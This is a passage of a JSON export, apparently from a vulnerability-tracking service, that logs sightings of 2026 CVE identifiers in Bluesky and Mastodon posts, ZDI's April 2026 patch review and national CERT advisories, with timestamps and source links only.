"content": "", "creation_timestamp": "2026-04-10T23:16:23.238094Z"}, {"uuid": "f4e19e0e-b500-4e56-aa40-5eea3a576d4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mj6ldicb3n23", "content": "", "creation_timestamp": "2026-04-11T00:28:09.403528Z"}, {"uuid": "c24b7d5d-3b68-4ec1-b935-d697b0a9ff99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3mj6tjayrlg2j", "content": "", "creation_timestamp": "2026-04-11T02:54:32.882191Z"}, {"uuid": "8af7e7b3-d6b2-4d8b-b0df-7df5f2376da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mja7ysaye22a", "content": "", "creation_timestamp": "2026-04-11T16:10:41.231741Z"}, {"uuid": "8dc3a627-284b-43c3-93f5-58b060aa0d06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27654", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjbcyyohuj2h", "content": "", "creation_timestamp": "2026-04-12T02:37:07.208092Z"}, {"uuid": "f13c6dc5-9806-44ed-8ecf-5e224feeb40c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27830", "type": "seen", "source": "https://bsky.app/profile/dpp.mastodon.social.ap.brid.gy/post/3mjcxjw2o2zt2", "content": "", "creation_timestamp": "2026-04-12T18:17:12.619591Z"}, {"uuid": "bfd10220-32bc-460d-ad49-26be96d129e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2701", "type": "seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3mjemm2zcx22w", "content": "", "creation_timestamp": "2026-04-13T10:06:49.868267Z"}, {"uuid": "41cea616-e819-4a42-960b-c28cef6613a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2728", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjf5kiy4pl2m", "content": "", "creation_timestamp": "2026-04-13T15:10:10.768791Z"}, {"uuid": "a90a0b25-3976-46d0-9d11-b81ba0475f36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27826", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjfaqdhi6q2p", "content": "", "creation_timestamp": "2026-04-13T16:07:07.430709Z"}, {"uuid": "4c920c58-f89b-47b4-b5a2-da2b96338980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27175", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjfrbmlmau27", "content": "", "creation_timestamp": "2026-04-13T21:03:11.186578Z"}, {"uuid": "f6f497a1-686a-4df2-b6ec-738b27819023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjg6jaq2s42h", "content": "", "creation_timestamp": "2026-04-14T01:00:04.652440Z"}, {"uuid": "c00ffc22-6e82-43a4-9268-1dd9718ea967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27681", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116400470743703079", "content": "", "creation_timestamp": "2026-04-14T01:30:30.666286Z"}, {"uuid": "f0e27bd3-46c2-45f9-bb13-e8908623b27f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27681", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjga7s57cp2x", "content": "", "creation_timestamp": "2026-04-14T01:30:32.702807Z"}, {"uuid": "635348ca-04ab-44ab-93f1-eb2de0bacc0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjgbrq6sie2w", "content": "", "creation_timestamp": "2026-04-14T01:58:27.631329Z"}, {"uuid": "28c8f2f8-a1ad-496f-96b1-617d6da205c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27493", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mjgtylwbo72h", "content": "", "creation_timestamp": "2026-04-14T07:24:26.241082Z"}, {"uuid": "b4621059-e9c1-4a36-8a7f-85a0e9a20972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27668", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjh475wwx724", "content": "", "creation_timestamp": "2026-04-14T09:51:15.960331Z"}, {"uuid": "3a491cef-5aa3-42d2-bcdf-ca1f87f5763e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27668", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjh47rwsix2f", "content": "", "creation_timestamp": "2026-04-14T09:51:36.947193Z"}, {"uuid": "e649ba82-1a13-48fe-b1ac-59443d1296d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27890", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkbxfeae4x2h", "content": "", "creation_timestamp": "2026-04-25T02:07:08.223074Z"}, {"uuid": "cfd31abe-6567-4158-9fd4-97bf90a1173e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mjhdh65gnk2s", "content": "", "creation_timestamp": "2026-04-14T12:01:00.433746Z"}, {"uuid": "253c7a3d-d61c-436d-a82f-b91b34f012b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27668", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjheezv5sd2x", "content": "", "creation_timestamp": "2026-04-14T12:17:42.519775Z"}, {"uuid": "a7ea7407-f838-44ab-8f64-45cfc7ea5277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27456", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjhhcqfm6j26", "content": "", "creation_timestamp": "2026-04-14T13:10:07.379587Z"}, {"uuid": "9406b2a4-0a91-46f6-a0a7-60be6fbbc998", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27668", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-per-prodotti-siemens-20", "content": "", "creation_timestamp": "2026-04-14T03:04:52.000000Z"}, {"uuid": "28dba390-b74f-47e8-afba-fcb8346924e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mjhjbsupqa2y", "content": "", "creation_timestamp": "2026-04-14T13:45:24.055617Z"}, {"uuid": "18b23bba-fcfa-45bf-b76e-9730a3b1d4a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27668", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116403442266352167", "content": "", "creation_timestamp": "2026-04-14T14:06:12.134934Z"}, {"uuid": "8bc3ed53-05f7-4664-a323-d342ef4c4c89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://www.cert.se/2026/04/patchtisdag-april-2026-samlad-information-om-manadens-sakerhetsuppdateringar.html", "content": "", "creation_timestamp": "2026-04-14T06:20:00.000000Z"}, {"uuid": "9ab95b52-13ce-45a4-a291-1aa410da9ddd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27284", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjhwttru6u2w", "content": "", "creation_timestamp": "2026-04-14T17:48:07.698611Z"}, {"uuid": "c9b9f38e-ad32-4ea0-a5ad-a140db45d7e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27291", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjhwu2wika2u", "content": "", "creation_timestamp": "2026-04-14T17:48:18.002902Z"}, {"uuid": "3028aab8-253d-466a-b3be-a896e74df567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27919", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116404344289228337", "content": "", "creation_timestamp": "2026-04-14T17:55:35.898229Z"}, {"uuid": "fe2e15c4-1986-4448-adfc-dbc241f6643b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27238", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjhxggjwk32w", "content": "", "creation_timestamp": "2026-04-14T17:58:31.472925Z"}, {"uuid": "7be1cd06-c342-42b8-abb1-1d2126ded177", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27283", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjhxgns26s2e", "content": "", "creation_timestamp": "2026-04-14T17:58:38.866278Z"}, {"uuid": "b68f98f9-3b82-4bc8-953e-802442f3b77c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27928", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116404397820795967", "content": "", "creation_timestamp": "2026-04-14T18:09:13.103662Z"}, {"uuid": "bc072e28-3d50-4b1b-83e2-68e48338ccc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27927", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "86ac03dd-16c6-43b8-afc6-10ed8b9bd1b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27931", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "7482217c-d976-4b20-9e76-39972897bbf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27906", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "5552477b-ceda-48e2-94ce-7f42a268270d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27928", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "018de1aa-10c6-46f8-88db-e8b7a2f531dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27910", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "cfbafbe4-0946-46f8-8e27-3cfec571442e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "83332907-e747-4fed-abf4-2e3172cdf4da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27918", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "6d825767-784a-40ce-aa73-07f53c630b19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27924", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "27dfacbe-942e-41c4-8065-864c67765c16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27923", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "29cf7ba6-aa8a-4750-afc9-fc54470164ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27926", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "aa55c67d-6363-48d2-b6c9-1d806f5a94cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27909", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "6f086e2f-32b2-46d3-9de4-de4b3dd96d9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27907", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "3c362b3a-00a5-4ed1-a3ce-c60bc3a3f368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27908", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "877f6726-1be3-4603-a4ec-4927309eb7cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27921", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "49ad579e-0f1f-448e-bc64-74c3f7a8f2dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27925", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "31abb6df-2550-4cbf-baf2-958eb984143f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27914", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "252c774f-69aa-473c-aeb4-799fbc014b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27922", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "a01aeadb-b43e-4b71-aa12-f3a739c20e76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27913", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "6d6157f7-8e1b-498e-b220-656d0af244a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27930", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "0b2c66be-2fc1-45eb-bd36-c446985714a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27929", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "ec2ff4b9-5b93-4f53-ab64-02373dd4ecc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27919", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "9b1ced26-a124-4b53-81a3-182a4cdc2fff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27915", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "5070afae-41b0-4235-a78d-b4c21bbe9841", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27916", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "4dbfdc09-a72a-4e16-818c-2f5a28f7fea7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27920", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "f0a4ae4b-77ca-45fa-b432-8de28d1fbc1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27917", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "314249e0-3c6d-4a8d-9163-7c3fa48d1ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27911", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "cdab6473-5b57-4f28-a7e2-9d89a51a57ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27289", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mji6rygv4l23", "content": "", "creation_timestamp": "2026-04-14T20:10:14.917070Z"}, {"uuid": "528c45bd-db11-4ac6-80ec-4fab4b60864c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27289", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mji7cuopwy2a", "content": "", "creation_timestamp": "2026-04-14T20:19:42.991110Z"}, {"uuid": "52badde1-5e3e-4406-a990-c01fecd72255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27310", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mji7d4kvbq2a", "content": "", "creation_timestamp": "2026-04-14T20:19:49.815608Z"}, {"uuid": "4388ba44-2ad9-45a4-8ff9-0912cec2d0de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27311", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mji7ddyvo527", "content": "", "creation_timestamp": "2026-04-14T20:19:58.087710Z"}, {"uuid": "918f7d76-a9e9-4e82-af13-eac51f851f58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27312", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mji7qv3ttr2s", "content": "", "creation_timestamp": "2026-04-14T20:27:32.233729Z"}, {"uuid": "1218216e-66c0-40cb-a9b9-2af5c29f4d3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27681", "type": "seen", "source": "https://ccb.belgium.be/advisories/warning-critical-sql-injection-vulnerability-sap-products-cve-2026-27681-patch", "content": "", "creation_timestamp": "2026-04-14T11:19:13.000000Z"}, {"uuid": "df1337ba-eb54-4f37-805f-081370a1cda1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27301", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjilygpeht2z", "content": "", "creation_timestamp": "2026-04-15T00:06:30.055813Z"}, {"uuid": "20faf8f5-8ece-4a6c-a5f5-1935d8ca6fa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27300", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjim75mwbe2r", "content": "", "creation_timestamp": "2026-04-15T00:10:14.985075Z"}, {"uuid": "82e88420-f260-4f03-b840-498d98be8573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27288", "type": "seen", "source": "https://bsky.app/profile/adobedigest.bsky.social/post/3mjimntrqsi2i", "content": "", "creation_timestamp": "2026-04-15T00:18:27.999714Z"}, {"uuid": "ce2e4d85-523a-4476-aa8c-64c8f09ebaf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27304", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjiqoo7xsw2o", "content": "", "creation_timestamp": "2026-04-15T01:30:31.386082Z"}, {"uuid": "13c8365d-cdcf-44ea-9166-e7ea0904086b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27304", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116406132959257406", "content": "", "creation_timestamp": "2026-04-15T01:30:31.618427Z"}, {"uuid": "62a62aa6-271f-4f60-bc93-8ece722e6c6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27282", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjis4gfiax2a", "content": "", "creation_timestamp": "2026-04-15T01:56:06.696828Z"}, {"uuid": "4d5da208-5d07-433a-b14f-a8ab441a850e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27304", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjis7un5zh2j", "content": "", "creation_timestamp": "2026-04-15T01:58:01.539600Z"}, {"uuid": "b882f8da-858f-4156-bc4f-6ff92b7bc1ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27806", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjisq52ro32n", "content": "", "creation_timestamp": "2026-04-15T02:07:07.429878Z"}, {"uuid": "686973a0-c125-40ea-bc39-7b823c787f83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27303", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116407194668187884", "content": "", "creation_timestamp": "2026-04-15T06:00:29.751614Z"}, {"uuid": "5c6b2d6d-fc91-4e08-ba31-f85a786dc2a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27303", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjj7riacko25", "content": "", "creation_timestamp": "2026-04-15T06:00:31.778387Z"}, {"uuid": "ff2980a0-10b8-41bf-b60d-4e9bc57b013c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27246", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116407548892597256", "content": "", "creation_timestamp": "2026-04-15T07:30:34.503558Z"}, {"uuid": "93fda02f-f731-4532-b198-ef71d932b88e", "vulnerability_lookup_origin": 